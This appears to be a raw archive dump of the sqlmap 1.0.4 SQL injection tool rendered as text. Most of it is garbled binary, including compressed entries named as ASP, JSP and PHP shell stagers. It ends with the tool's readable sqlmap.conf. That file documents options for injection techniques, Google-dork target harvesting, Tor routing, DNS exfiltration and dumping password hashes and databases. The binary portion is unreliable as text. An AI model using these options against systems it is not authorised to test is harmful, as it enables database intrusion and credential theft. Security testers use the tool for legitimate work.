M±;>+öÓöʶmÓHEÞçó€0ôH|ýÒGžö4s±xqÐý@¥ŽÃLs U­]«™€½³-4•‚Âæ. ˆ(p¸ßÅØ*dFs´zBs•V‡¦{×m ÄÕK•AÚy ¦›…”<äsé5I_ýš:u5*Ÿ¸ù[Êa®¦"ÍÝä^°¹©¤¹½Þ¸n Í]EÚ2õ‰ÌqÈ2ÚȨW †dz]ZZ ›š|ÆëPáå„‘é§`h÷ô[ùCQ×lx݃ÁÔ(ºÆ¸ë-g϶Ri—ªÅ•%è;64êîA´º=Åv·ºÓ»ÏTŒÂk”¢?Q"PɱOs+äËôD€|!ò~V·ÊŽçëÅή™¨¿!ÌЉvÊ…˜P$eöãØßSÃþ™ÊÁtsÑ)¥áWs«/¼*‹$¤©h—Õ Ý¿2!,‡u.M°™`Ã%GýšER®ý(: ìNNâ®àì5G2tê_žrQ]í9Ù[ú‡"¾Ìy"Wù-Á¶ƒ è!‚&Ü]eíôìÁ2Gv=Ö>7òÛ@+"'Íà]-hºpvÅk Þ €ÚX}áÔI®iÖÆeH©}и#¡Ì*á…ËÏÞƒ¨ZÎRÔËhŸü@Æá—kõ^BãI›Û¦Õ¤”Τ—ÁŒð2ZÎwÏÀŒðsåÊÞ¯vQ¿fT@2"Õ/:—ùv8ó_ê§=íýôÆCœå~ÙŒë‹WòêÐG;ûô¾¸nš8/pŽ© Û)þü"ª9J_¤ª?#‚\´DbøJ 骚êR‹kjp3¶È‡ßøÆå! —³&fêÚöx¯™G2B%Ô©±íRÏs[ºŒaÀqØWÉ[.arm@ÍUZ½ »ÎsìU Õ•‘c`†âxõ±*(¢ICYYŽ¸f‚3¢Ù×8?$—c·‘š!%F¬LZ—;¨ÜAü÷µè`ñÚ'kç`…=ˆhP|+ÉÑ;7—ïµ.SÕäNš6RÊkÿ´h—ç ÎxÔ#ÙKÄ/,h6…m'›î³yKêÓ´óГxÄ?Y;·ßë•®Êóý|4¾ ïŸïL&y¢±ØwÒ~=~×ÄX½>©(P!øˆ`( e ¾;íÔpr§b癦q•ý(æð,Ž£©¥º/"¡Mß‘²õE¥x­Xß&®Æd_š‹'¦Ž Wù*ÂbÎu­ÂNL ;Ù NF-#¥ªŸŸ F[;Ù˜ü·ÅŸáïû$Ï[Ÿ#+€h•z»6Ú'-%“ýteO†¥醬'Ø0âAƒf5š÷äú â`MÀR*ôÔ#À1%wrt[™Üw^M)¯F ;Ì“ k3ä/&©ýÎÜÖùÔÝ/*V.U÷µÏþ˜£äƯ÷‡CžëŒý’êí PvwÒz>So[bgæα qòúg½æ?Lí¼øpàqƒ`ÈLoòZs_{=žô…;+Ú'¸‡OÜ&s·Š÷™4ÈKP‚.Ľt Ó×Ãøúö]V¡íW—XICŠ—²aZ±¸ÒÔ¨jï>¡–3$huP‡´$< ?ÏÔ÷¹‘r EŸK¡øf†Ÿáøf†Ÿáøf†ŸÿtÏÞnMîj€A{ød€#ZãÆ~Ì{ˆz7}7~È~W|øzÀDí£8ÊGBÀ#€ÅVÙq€%€Ç~ö}c~xè|glYãSy°¬zÈxà~ ì}zàG?dÀ 9‡Ë¸‰ ~)¬|W¨xØvð,€ }¼v}àS~¸so¦†C}Ì{O}Sx't//zðWÀ x~%Ú~¾}’E€fWVGèn¦g¹ß$ŒÜÎR9îô|91»ÏÈ"1IúýÿÖÈ2›¼]Þõ½â„ö~ù–ÁÖÜdHf¹ ~¤iQUÞ-¤·—Ù4ø¼â]wòWøÿfüÖ»ZAZv£êËÒ£™*˜BÛ!粊ttL‹²ƒÉZ¬K$R¦{1vÓ² lŠb¦òCÞâWβ—– #)±ÃŸ"/À¥0çqà <.¸z(ï ‡/ÄçjÚõ ‡£Ø~ `jÆVË(%­Ìz­œ ÙŠ¥~)Q¥FÙŠ~—*Ή™DUS¾7Ÿ&--—•‰Ôç–êtL³íú3çv¯ç‹õzÅ™ÙA×®0Ðû¾"·Ñ‘é¨Ðçj~þqi /NDÌ-ÏSµë³Š‹øÌSžÆw7©¾+WVV €B³/Ÿ|Èh=æ^rR¤LfN£ÂéãxÐo_³ Ù ø ˜ãWQ„0ä•êL44í…dtUôÙ‚\¯“¾w’U³³/:!>ÞýKù°ksŸ(”WÙ^¦£°vìúŠÁnˆëýM!p>t‹4ÈëD¤ŽÙØ4…}! œ£ÏÊSWÀ>6^1³ Â4òuìÙúf·jGÑçw:&´3Vž™|7j•òq^‹‡ÌÃ`õ3SWOæ±¼¾ïÀhjó.±°V( %’™§Å*/sŸrU°Àòº/ùó•·U…•HŸt7hhÙÿòðáIx¿V^|`È–üïˆ:¡W \ fŒ=®B³„‹áîº9a·äjpª·qf¯”Ͼ9¼g¯;€Ü—åF^³ ‚°Y?sHÈô×hhÙ¡åÞyzz†žÇSúÓ¿BQGßÅZö]%×Å϶—åz„•ÊÈ!!}íyWy4Y°­˜»y…V{²Ëã b ‰?z›x‡`º#¤7Ù™Y{`Ū£Øïlì¥ø^¤”*-\‡Œð 8aÐQobÖH’»/[”~Éü0ò‡F<æÁ!{µ)#+Pâ^K†bM¦“€~4ýéÒö”|gr¶¤G¯ˆ÷£…6÷ÆW˜ãÌ&ŽâÒâc!Ë£¹3ˆŽö—Ç Öé¸OwBö>‰£“|²)”v~{IS‚ï5.3'2“ÃÂSSØcShæ•FÎ+„"”zñ±DÀý!Óªj¦åNÌ1#¾œöÙöÿZz¥4¬?Óç™z} eða Ä>Ç¥{èuì/THæ|vé—<×~Î ê("¦AVÏq¹ÉÊ­ÐXÚ4³cZ’H§ Œ*Ê}ÅDc™jÓƒÝy‚Ã_¡ŸÁé,U5ìƒmÙ?»U”/è&AeÜ[E²§ d„ÌÜ{´)§ý)6:/ǘxù•Ý_…VÛÈÈè|¯™! zÔk [Jã»@kmp4Çh ÷òû°çê¿P5~¯‰øàòwÀVG(”Ûoé•k?ÀI6^r¬ÉÐjk—=ïÇÒfì`໡¸°W ‰¥›°ÞV_"kÙ·à‹+·F´ps=ß/g°¯56ÁL–d36Üy^›‡a‡hc:Ð_ÁïŠÒvÀçÊò¾½q„»ñzÕÅô\rrÙ¥|:+˜& jE¼(ý(½•=‘E'‘(J;—öœ3@®!+~ß`]A—–Z≠EfâP{˜Œ>=‹_su×5K2éfî p|>Þ¦]I¼D°ò² PábÎzlGEÌIr›“&ÊLËúõÈúÞÿð‡VÉ;– )¶B«3SûìfAa¾ïï9®d | rà{?\À>€ý»~ }Cy†g¹Ã~~ ~ €R?JÀ)€ a { _hR?E?u€zF?m?]€n~?SÀ#€FL~;~è~]~ n%J€u?vÀ~ôf¹A€a€€Q}Ð~ÐqyàW?\À>€"}z't°_m ßäÎ}cyØz/qqOx_}?vÀ~ôýrÒxxà2€|»~~²~i; ÂH~ö}+|¬z˜| {_„•éMמà€H¨R«²ƒñ:ÙÖ’¼¢„gÀ¡žIÛb:ö}g“³Õ M¹=fmE=JMS#B´9ݘë\ÆÞ£î¦ã\X3œ¤ŸCÔÍӦϸåÖ虳ßIçöDæλó®Ø¸ù†zthÝŒ œ%²KÙB÷QH¯'6!26µ¥¥¯þÁšµfëÖÈÜwô’³VHP >.ÉŽ-!WÛ-!ÿ|$T«¶OØ4 ÇKÛ‹·'Ê;¡©ÝÁyû|Ü*CàsËã³yVQn5¨d³³GL¤wËââòQÕ%JÀ…s@øè¯øÍðÿ®ô»ò—įù«½ÊPG;2À0öBñ·xüäßóç‹«ÿhÿÿ€çÊEÍýï¦ÙÀïûA>k_døÉ¿ç€}þÕßå`nðt´zúïS4ùq¶ßüqä°‹ŒQÉ*×ÖÖBø/½«>Üáø‘8`ü‰0þð80BýãŸìæ§@Ûýì öþühÏïá—Pîÿ¿éÀ˯üúàq½øµ×ßó·½ÝØ ¤ùßµ´aB üÝlÿñû÷1žÿô™pAü¨íã0ABû‡@ÖþùŸ¾èøó þ5Eÿæéúû@¾ìA÷Õ×Bßœïí»ñÛþ4—½ÿòKôó½y þÿÝßÿP†öÿ`.þ66óttçãÊJÇÃL,†8PjðóÙÙ·*ÐJm‹™ãâÍ bÃ!¸‘QTŠËüïTq‚¯)vï ŒhIv¥ÀÝ\kÐKînŠìÆ—Gò~LãŠz˜4ìdb‚´i 0n…ïú˜Q¦‰E˜yÄ«ÀKOAÆÅGœJl¦ Ù™KZŽCú–’TG5Z·K ‘"²¤wìÍ##;b¬‚òghãs‡Ð`~!ÁzCÀ`‚ŠP ˜=€h x'}²€L qFÀŒÀ“° ÅÊÔ”W®í$\·¢ÑÈ2zˆêH ‚ôÎÃû ÒD›Æéù#­PÚÄåj•~›­—Ü4Š4óWŸØÙuüLÄ“µ°ýˆ™Ù>cÏÄ:[Æ)Ò‘`ëZé gFñ¼Ô£—Œc!X¼ÊšbûÅÓ6É`3"úèté`¼°ñ¾x`YþÚìâS¶§ÏS}ÄíCÎ4×iæFì›×i)èýþËØÒc 3¸äÇœFóÖ–GŠ‘óR"ëoŠ²u³×Eì -²ÎQÉÞgŒÓÜÉñÜ%ÀVð.ã¹½ßq¸‡oì5èïðÌhšèlgxŸ½ú®TÀró×p j”».úY†ñíñ{¦ÕJW­_#ÿ€dîzZB½@GBsX¿5ñé€õƒÒuìûy¥×N;õƒÒ<Áë¶HŒ<ÀÞli†¹%!Ûy¥.~ ‚ÍzD_R¬Hßl˜)"â·u}â'†øAýi[·ö^ŽëAÀ÷bḲÀÿŽt@ÍÓSå2§¹«A—¥ôi7¦ÏþÌ[ÿÑ>þ,YxûŸcäŸBZØÿÿ`3H :ÓƒýÏsŠžÙ­×ößýbþ ;¶¿εóHûÎûωrödäOQØ8€@Ng¹QõӷRsö@GÈçÝ9ÿû³~ïƒÓ6EXyù0þøü ©ÈòŠ6¾ i¬½ Œ%Hö2ë†þ1ÁµËÑÐùWN Ï–#dÏŸ”!»CÖ¹ üý÷pÏ›UܬʡýHƒ ñJüß¿·xùHqúþóÛ®"A¯¿IþRµÁþƒÛýŽx™@AÍ <ÓÕ釯ǖ`"Û@ý©û¯ûñÐù¨ÞÈBý°ÿàú×Ì@¿‘™U:Cí$ÛßH 7}ûÛ³ò¾Eð>@c oQ?’…ÃNs` `‹¥t›'ú¯â§@´T1pÓ¢gú›øü7Âx„øÞ"½ ˆAäDs5XoÿÀï¨äþÌC¡ü>›  ì+“ƒËq*SÖžáç!ÅÏló³#Åï€Î7Ó׆s¤Ï&ø™^ñ(”¯c&¸N¸ìß»¥ âä†s”«Ï­C„•¿mÞ“='ë<®SÄ¡[€yÏ„s2ƒg ÷†Í‹¢Û^VQ—tbE ¨Ì¿lå¡Ú¯e 'Æì ”N›ËZkk—Ú“e-ç ¸{‡B“·4Ëî/B0‰}lð…&S$çl{‡|¦XAÑ®§GlîÛpÚ!à¸ù Ùàx_šyl`$ž(çXÙL4è–@׉¾I»£kšÊãFRõÛý|»}èuœ¬3%ó§âxÐÛT- cɳ]:.Q:@Ûä›QÉT ¢y÷W¬ 7ïGù²Ò;û9ÓY»Ãâ°—=¦F›Â%‡FrÌ öÖ^9oßaÏÃŒ £ÀÛ±[ûOÏÎ /¬¶¡‹¹G$WÊi=½ÆzŠÌ:^Ì0Ú¤rã'ù©M¸cß·/Q•ùE¡{H9âF»¯9óÀ›!¾UL¯Ôe˜{ï*¤~ö 3«cÀxíTMtn£ócÖŠ?UÅ5§Ù¥+s¥x×D;ŒK§]RPÛž›é7VI£”ÏâuÞÎ¥"BKŽ³T-}A²ÐY6äà» M[d”Ê—^Z¢ØB&.–ƒÃ؆Zf?Z4}¨G…5Sˆ/±líþØn”}l·´¸‚d<¬#++ØØ)Eýþa²+'ìqºR*”ÅUqWéLü5!Ö©Yl®8€Â%ƒj¥¼½OZpÊ¿”ÖR¼J¾ï7ZOŽ±Êά,å<îò5úZtm{‰î†Z' £ë5“fßïyU·áe5}uá² «äË‹L³Z^_ ‚»°ü}èî\ùU¾_µ4!.IXÈý ™-ì«îHò*/ª”°¸V¬½,nNü!3€bwq=üƒ$-_”æðÅ=1qKgÿq­\gÛåËlÌ¡¤~ø˜}í?V¯LÊ8d¶{wñÛhwÃÓž‚Šj²ÆÁÍç/ WÓ÷§w '×Î|¨Ó–éÈï¿üf%'ƒùpR3ðïÅû@óù¿1|Òó¿œkº(®+í…qÃöŠí“Z÷ ÆÌÎÌšŸµ×Çf«ª©¹pÂHíùˆ QLÓW™¿ùžáãZóo„﹎çÆŽC·èô«ž¥ÉÐnX²îlB·þ“ü0î¸Müé¶@¶ à¸Û«'ÌH¿òv’ÿjP£‹Œÿ0µûöW}`¼ÑÖ÷cAäŒçžÓä’YÆ ú7¶YֵÏø½àûó"òŠò>=y§ƒåúEÐs¹äEÚ~Î}´~œ~Gvk nàOÀ€Ý0~ì¨x¨z¨yØu/qÀ|”kä}|'t}{{ˆ•ÂÏ~˜~ xˆ/|B9®d t bà{?\À7å­_RÌy,v´-`ýÝ°2+Òå)gHîyŸÆXÎ$"Ÿû;iÊ¿+–ÄRJä£-О àDöz—xù^¯ÀžeùSÔaˆhŽž~øeàEÈàc€j…²GóFƇã^hà|¹ƒWÆ‚ú*.Ý。€}b¼I./¼VPBBSå³èläPÚÄçyxwôPiøõÅFëb™:›ìAÿÁßؘ™½ÞPƒæÿÊÕñfcE+ /eÃÏðLüs@ÃÏðLüs@ÃÏðLüs@ÃÏðóïØžŒŒîhéØö(D1Éç#Åb×-ðS)º.ÆÙÀìIiø• •hik•Qœ]GŠæ—åÚtL4jú”e¡–²ù™¥…³ËŸ¢PÌSÊ˱—ú¤uh1¹öœV‹9…R¸Í—Ö]4¼ZANÙŠ¥ééÒË°ØA`¶pÛ‡íÃöû°ØA`¶pÛ‡íÃöï¶ÿ uÍ4sqlmap-1.0.4/shell/stager.asp_000066400000000000000000000022571270044205500162560ustar00rootroot00000000000000œµ(ÝâGoAþuËÒ)‰u´Ü®î¡}¤yèbº=»Ý¾œ+zŠ(^b§ü÷Dþ7X„ÝC?cÏüæÓLãþ‡Ö"ŒYŒZsN’D‚æä@Þ%mŽ’åšÑBŸÃëRvY¬D[àäõ¬¹ƒ`–£ÅôÞïÎXþÃÝâì¶i[ÝX5º!¶ÙoyŒœ¤ “Å1“gfÂPûWv=>¾[åaÝimÏ’ävÅm‡°žÆVž£öÛ¨£X½|X4Îü䬷Ìé "r¸5²GsØ~_Kôc“Nx,=E&ქôžRG§ÑSã{N§n sæBƇÎUºã1xhšT3º<Ê(£[æS‰ŒBn_pkµƒ£¢xÈÝN•Îx¡Ø„·¬ó5­0Fgt[æN…?§+à·nõZ´GØ‘> Z~¼œÿ¼^dA²Ex‰€~„šèXl£¢ârÈë·~®y“z‚dȶ°UùYŸéY×¥@¼;×óN ò Žé]4ƒ§æÊFê"a^x‡Ë8ÈpÏËÇ5ûî g]œãã ^êˆJXýÛ”èþ0®"tT0ŸÞÇ9íU`­‰/ä(ùÏo~QK)§¬yfç²»7åÎï*ö¯>”‘×–ëò™;é‹,s¬ÿU£ÿ(…}Óñá7˜¥_ŒÚ5)t”´¢3µd»(ïƧó$m:` 0öÍÛ[Ù·„îùˆÐU‡zDIêpJçrŒS+stˆXw[Öwä³Þy3å,¹ß¦íž6É.OÖ€~ö"§Ïn¹×åœÔ¬¹¥ FãkD€±7Ì8àgØãÕ«Æ»+-éW §çÈòvÍéYp-(2 |9ƒ*;-xPYŸ¿3–þãâÿ HÆQwÆ÷4`\!´–îd:[Š}`æ9åàƒ7GHÍùòÌOˆzv²_O\ig%õ ìÑįe11ŸÐ3íOå§I õ=b_hõ‡wã"$ ú:S³æš~i;û€ÕP ÄV j;|SèÓ–DY$ahó‹Û‘§>ž=üÝùž ¥ú&8µ,™¤`,ÖÀ$ìH~?5sáý‡ÅÔ¿öXãé¢i‰ªt5ÖL{YÁ¾ª€Š#›b„*JÝ‚ÊŒl´Ëj¨×Øuü•:„L¡r)¸Š—aœƒQᮣg ƒ<%_ÄÐ^w"÷Õ…‹M©£»FQ^,ªÍĪÜB¯²#’à !T§“&)ÇdNjþ &É[PóÉ·áý ü K™“ z­¡±‹¾ëåòÚq§˜»ie ÿ¢««`A.F£ã“Ð5zbý9í$ëûÜÍ}Rèi‡Úo n Ô-á‹y-Ý"3Ì7x­-Òrøã"ŠÒOÁ~Áô ²áQ=­­Vÿš¨žb½¨ ÛØfºÇ)þ•LGÑî°÷Kr¼ƒÝa­„U€N+…D4çni‚€TÁ»dzš°gÉw_0Í!ÚÈ¢Ìr“+™¾ý”.<Ïp8Ÿa1”sôï¼ ²Uþ© UêXƒW. Ÿ&e¨f"w©äÕ³%.B4¬y9?Æ”„=í¡6U¢³Z0p$Ò¸íï·¨–·6Œ½>Ç_rúQu{È&úe“Ëï‚?ß’*¥²ÏDºûø|G-'ssqlmap-1.0.4/shell/stager.jsp_000066400000000000000000000024501270044205500162620ustar00rootroot00000000000000œ•)ÛÛ9oç(Œv{¢‰² ?£tµRÔ®t»Š9>?-T‰éŠÈ¥RµÈ¿#%²Ûè>[ç æì# ô©UÞÔj›²Wƒ Nö‹MP¨’¼øn­˜pvªìŠa¢°iVp:f)Š”*AsYÞèÕ?’Š¼k%MÍÃã!££Þ·ÅÊxÎ;ì뉇º8!.ÇC2à!”¶‚jlÓ¼Îi.¹t®„Wî•Âbû#³5?©ž½y|oäQˆ ™@) ÅP·vT;š½Ù­ÿÇ|ü@± }È· ïM«H¬Œ7gg¾Ä"íN;(S%°ò—ê «Ka×V”r×. “—ì’³rË{Š •8Çë%%?«%èUÍŒ…)L†"¥‡ˆ×ìo”?Ù +ˆs[& nv:@²òû¨>·§EŠéMð“Clw¡P zó< iñ¶ÊOY©¥Rl–ÔÌ{¦ÎiñV£^拘t¶½:›†ç±ïGÓq6ësý³§YéjÙªŽT6wétBëT±9ºÛq¾íHõ M.—™µAô¾ûfø\aUb³AZ¨g-³àÆK/ŠfÝÌÍ–ÅN´]Ši(Ä¥‰!Mô©Ñ”ŒjZy“žeÑ›Ó Šü 'ÿ3Û ”Ì'²‚8vtEó§×f ss‰Ú5µOpü–oýŸÀÙóQe+-)TëÈŒkb‚êya± ûö§«ûÙŸ—è›×§ødÊõ›‹@ôêÙéoy|Àr$:OÝvæí×µÛ53ßÍè7 \©%€6=Ç‚¬¦•,2I‘y?ÔŒ(0Ëï÷ýlHÁ!–×]So¸wüÑ%ø´ÌËrÈ´˜û}^ÏØO±Îhø"äò›v•WQQÒ]UÅ€Ôú‹7; MŠXÕ¾‰uÉOÔzÏ© 8ƒg·ÊÉWÍŠ%€I>¹ŽIµÇ¥ü] Ç›”cËÃ…·Ò£{Y\‰|`Mi¿ ÜÄÄ Ž8¤Û3•þ2©’±8 åŸÓ+ùBÿÔ§]§#7†úÀß•©ÀŽŠ£>™ (©k‘Ç ÈÑÓïk:Ð…nœ"› °oÁ\nàîF½“¡˜{„æç©3Êó×E.ÍXcã–y¬Ãrð£dg ”†XYI½Ÿ]òô3›Ñ‘SÚà¹-ïx‚³dgŽMýÄÜlS]02«_f£A)´À¦ÙîÀˆxm5Òμì Á¶Ðg¥ÿ-§‰þa‰Þ_ÑÇTퟜo+ײF^o1W°Ó¹¤ãÁ¡¤7ÚŠí$ˆ›Mcâé¨N´@›Ì1ŸA ™ðœ¦ÞÐ,]dê³fóµS§‰b[:IĆiª¼3ÌÛ8”L›Ðô×y>üÿÑî:_%ç|%`à.o{4¶Vƒ•iá[DI6gË2ð;¹,¨cJŒ‹”}ÿÝÝì·‹éõåÇ`AqYA§‡ÎŒ=Ϫ¹¾})Åm‰bØt[°íӶͳ€éä'*áZØÞ=šüóc0o¿ÿ\+¤ ¬m×î3[þžIA˜±ªV‹§B%ÂÐÌÇVaH—zqÕ„®õw]§‡É–Äp,D‡ýarÞ‹²Œ ­óŠ£¼Òöpuü(ÞfŒ¦•&ºqèA¢îk¨S…Ü®"#˜êë‹ímýt â0úsqlmap-1.0.4/shell/stager.php_000066400000000000000000000005711270044205500162570ustar00rootroot00000000000000œ’"ÂOg…ïýj^w¶àªÂ°¨ÃŠ‚"ÛO‘-›7|2Ó¥©3ÿ6«¸‚*‘±gÁµ®`Úˆû‡KZc®2Å5bæZ¹¦$ôD’Ú’sÛíg‘÷o„ѱ ƒj+Û½‚3åÛc,¶Ã.‰.¤+í7Ð]À®ÀaKê_bOqoÁšâ¬Ä§ø¿¤þTœ¤”^íò?·LcêY1-yà3€,kê<£&$ÆVˆl^‡4Gu#ÿÙõ(Л ½œÁµ~~Å]È)|~G0ľÀI­M>Š˜‹ž²¸=±ˆb‹ä:Z?­§{^œ|Õß¾Ÿ¼Ö‹‚Å›t )Ð@BŽµÊ÷ŒÆzØž*å)\Z ­ê|µ¿%Õ² kcX‚ñýRG¯_ðÇnûþŽáPþ]œÜÉ=Ó…ï#Oµ¡ä‚E]͇Õ× äg81ëty÷ê°sqlmap-1.0.4/sqlmap.conf000066400000000000000000000465341270044205500151700ustar00rootroot00000000000000# At least one of these options has to be specified to set the source to # get target URLs from. [Target] # Direct connection to the database. # Examples: # mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME # oracle://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_SID direct = # Target URL. # Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 url = # Parse targets from Burp or WebScarab logs # Valid: Burp proxy (http://portswigger.net/suite/) requests log file path # or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project) # 'conversations/' folder path logFile = # Scan multiple targets enlisted in a given textual file bulkFile = # Load HTTP request from a file # Example (file content): POST /login.jsp HTTP/1.1\nHost: example.com\nUser-Agent: Mozilla/4.0\n\nuserid=joe&password=guessme requestFile = # Rather than providing a target URL, let Google return target # hosts as result of your Google dork expression. For a list of Google # dorks see Johnny Long Google Hacking Database at # http://johnny.ihackstuff.com/ghdb.php. # Example: +ext:php +inurl:"&id=" +intext:"powered by " googleDork = # Parse target(s) from remote sitemap(.xml) file. # Example: http://192.168.1.121/sitemap.xml sitemapUrl = # These options can be used to specify how to connect to the target URL. [Request] # Force usage of given HTTP method (e.g. PUT). method = # Data string to be sent through POST. data = # Character used for splitting parameter values. paramDel = # HTTP Cookie header value. cookie = # Character used for splitting cookie values. cookieDel = # File containing cookies in Netscape/wget format. loadCookies = # Ignore Set-Cookie header from response. # Valid: True or False dropSetCookie = False # HTTP User-Agent header value. Useful to fake the HTTP User-Agent header value # at each HTTP request. # sqlmap will also test for SQL injection on the HTTP User-Agent value. agent = # Use randomly selected HTTP User-Agent header value. # Valid: True or False randomAgent = False # HTTP Host header value. host = # HTTP Referer header. Useful to fake the HTTP Referer header value at # each HTTP request. referer = # Extra HTTP headers headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7 # HTTP Authentication type. Useful only if the target URL requires # HTTP Basic, Digest or NTLM authentication and you have such data. # Valid: Basic, Digest, NTLM or PKI authType = # HTTP authentication credentials. Useful only if the target URL requires # HTTP Basic, Digest or NTLM authentication and you have such data. # Syntax: username:password authCred = # HTTP Authentication PEM private/cert key file. Useful only if the target URL requires # PKI authentication and you have such data. # Syntax: key_file authFile = # Use a proxy to connect to the target URL. # Syntax: (http|https|socks4|socks5)://address:port proxy = # Proxy authentication credentials. Useful only if the proxy requires # Basic or Digest authentication and you have such data. # Syntax: username:password proxyCred = # Load proxy list from a file proxyFile = # Ignore system default proxy settings. # Valid: True or False ignoreProxy = False # Use Tor anonymity network. # Valid: True or False tor = False # Set Tor proxy port other than default. # Valid: integer # torPort = # Set Tor proxy type. # Valid: HTTP, SOCKS4, SOCKS5 torType = HTTP # Check to see if Tor is used properly. # Valid: True or False checkTor = False # Delay in seconds between each HTTP request. # Valid: float # Default: 0 delay = 0 # Seconds to wait before timeout connection. # Valid: float # Default: 30 timeout = 30 # Maximum number of retries when the HTTP connection timeouts. # Valid: integer # Default: 3 retries = 3 # Randomly change value for the given parameter. rParam = # URL address to visit frequently during testing. # Example: http://192.168.1.121/index.html safeUrl = # POST data to send to a safe URL. # Example: username=admin&password=passw0rd! safePost = # Load safe HTTP request from a file. safeReqFile = # Test requests between two visits to a given safe URL (default 0). # Valid: integer # Default: 0 safeFreq = 0 # Skip URL encoding of payload data # Valid: True or False skipUrlEncode = False # Parameter used to hold anti-CSRF token csrfToken = # URL address to visit to extract anti-CSRF token csrfUrl = # Force usage of SSL/HTTPS # Valid: True or False forceSSL = False # Use HTTP parameter pollution. # Valid: True or False hpp = False # Evaluate provided Python code before the request. # Example: import hashlib;id2=hashlib.md5(id).hexdigest() evalCode = # These options can be used to optimize the performance of sqlmap. [Optimization] # Use all optimization options. # Valid: True or False optimize = False # Predict common queries output. # Valid: True or False predictOutput = False # Use persistent HTTP(s) connections. keepAlive = False # Retrieve page length without actual HTTP response body. # Valid: True or False nullConnection = False # Maximum number of concurrent HTTP(s) requests (handled with Python threads) # to be used in the inference SQL injection attack. # Valid: integer # Default: 1 threads = 1 # These options can be used to specify which parameters to test for, # provide custom injection payloads and optional tampering scripts. [Injection] # Testable parameter(s) comma separated. By default all GET/POST/Cookie # parameters and HTTP User-Agent are tested by sqlmap. testParameter = # Skip testing for given parameter(s). skip = # Skip testing parameters that not appear dynamic. # Valid: True or False skipStatic = False # Force back-end DBMS to this value. If this option is set, the back-end # DBMS identification process will be minimized as needed. # If not set, sqlmap will detect back-end DBMS automatically by default. # Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql, sqlite, sqlite3, # access, firebird, maxdb, sybase dbms = # DBMS authentication credentials (user:password). Useful if you want to # run SQL statements as another user, the back-end database management # system is PostgreSQL or Microsoft SQL Server and the parameter is # vulnerable by stacked queries SQL injection or you are connecting directly # to the DBMS (-d switch). # Syntax: username:password dbmsCred = # Force back-end DBMS operating system to this value. If this option is # set, the back-end DBMS identification process will be minimized as # needed. # If not set, sqlmap will detect back-end DBMS operating system # automatically by default. # Valid: linux, windows os = # Use big numbers for invalidating values. # Valid: True or False invalidBignum = False # Use logical operations for invalidating values. # Valid: True or False invalidLogical = False # Use random strings for invalidating values. # Valid: True or False invalidString = False # Turn off payload casting mechanism # Valid: True or False noCast = False # Turn off string escaping mechanism # Valid: True or False noEscape = False # Injection payload prefix string. prefix = # Injection payload suffix string. suffix = # Use given script(s) for tampering injection data. tamper = # These options can be used to specify how to parse and compare page # content from HTTP responses when using blind SQL injection technique. [Detection] # Level of tests to perform. # The higher the value is, the higher the number of HTTP(s) requests are # as well as the better chances to detect a tricky SQL injection. # Valid: Integer between 1 and 5 # Default: 1 level = 1 # Risk of tests to perform. # Note: boolean-based blind SQL injection tests with AND are considered # risk 1, with OR are considered risk 3. # Valid: Integer between 1 and 3 # Default: 1 risk = 1 # String to match within the raw response when the query is evaluated to # True, only needed if the page content dynamically changes at each refresh. # Refer to the user's manual for further details. string = # String to match within the raw response when the query is evaluated to # False, only needed if the page content dynamically changes at each refresh. # Refer to the user's manual for further details. notString = # Regular expression to match within the raw response when the query is # evaluated to True, only needed if the needed if the page content # dynamically changes at each refresh. # Refer to the user's manual for further details. # Valid: regular expression with Python syntax # (http://www.python.org/doc/2.5.2/lib/re-syntax.html) regexp = # HTTP response code to match when the query is True. # Valid: Integer # Example: 200 (assuming any False statement returns a different response # code) # code = # Compare pages based only on the textual content. # Valid: True or False textOnly = False # Compare pages based only on their titles. # Valid: True or False titles = False # These options can be used to tweak testing of specific SQL injection # techniques. [Techniques] # SQL injection techniques to use. # Valid: a string composed by B, E, U, S, T and Q where: # B: Boolean-based blind SQL injection # E: Error-based SQL injection # U: UNION query SQL injection # S: Stacked queries SQL injection # T: Time-based blind SQL injection # Q: Inline SQL injection # Example: ES (means test for error-based and stacked queries SQL # injection types only) # Default: BEUSTQ (means test for all SQL injection types - recommended) tech = BEUSTQ # Seconds to delay the response from the DBMS. # Valid: integer # Default: 5 timeSec = 5 # Range of columns to test for # Valid: range of integers # Example: 1-10 uCols = # Character to use for bruteforcing number of columns # Valid: string # Example: NULL uChar = # Table to use in FROM part of UNION query SQL injection # Valid: string # Example: INFORMATION_SCHEMA.COLLATIONS uFrom = # Domain name used for DNS exfiltration attack # Valid: string dnsName = # Resulting page URL searched for second-order response # Valid: string secondOrder = [Fingerprint] # Perform an extensive back-end database management system fingerprint # based on various techniques. # Valid: True or False extensiveFp = False # These options can be used to enumerate the back-end database # management system information, structure and data contained in the # tables. Moreover you can run your own SQL statements. [Enumeration] # Retrieve everything # Valid: True or False getAll = False # Retrieve back-end database management system banner. # Valid: True or False getBanner = False # Retrieve back-end database management system current user. # Valid: True or False getCurrentUser = False # Retrieve back-end database management system current database. # Valid: True or False getCurrentDb = False # Retrieve back-end database management system server hostname. # Valid: True or False getHostname = False # Detect if the DBMS current user is DBA. # Valid: True or False isDba = False # Enumerate back-end database management system users. # Valid: True or False getUsers = False # Enumerate back-end database management system users password hashes. # Valid: True or False getPasswordHashes = False # Enumerate back-end database management system users privileges. # Valid: True or False getPrivileges = False # Enumerate back-end database management system users roles. # Valid: True or False getRoles = False # Enumerate back-end database management system databases. # Valid: True or False getDbs = False # Enumerate back-end database management system database tables. # Optional: db # Valid: True or False getTables = False # Enumerate back-end database management system database table columns. # Optional: db, tbl, col # Valid: True or False getColumns = False # Enumerate back-end database management system schema. # Valid: True or False getSchema = False # Retrieve number of entries for table(s). # Valid: True or False getCount = False # Dump back-end database management system database table entries. # Requires: tbl and/or col # Optional: db # Valid: True or False dumpTable = False # Dump all back-end database management system databases tables entries. # Valid: True or False dumpAll = False # Search column(s), table(s) and/or database name(s). # Requires: db, tbl or col # Valid: True or False search = False # Retrieve back-end database management system comments. # Valid: True or False getComments = False # Back-end database management system database to enumerate. db = # Back-end database management system database table(s) to enumerate. tbl = # Back-end database management system database table column(s) to 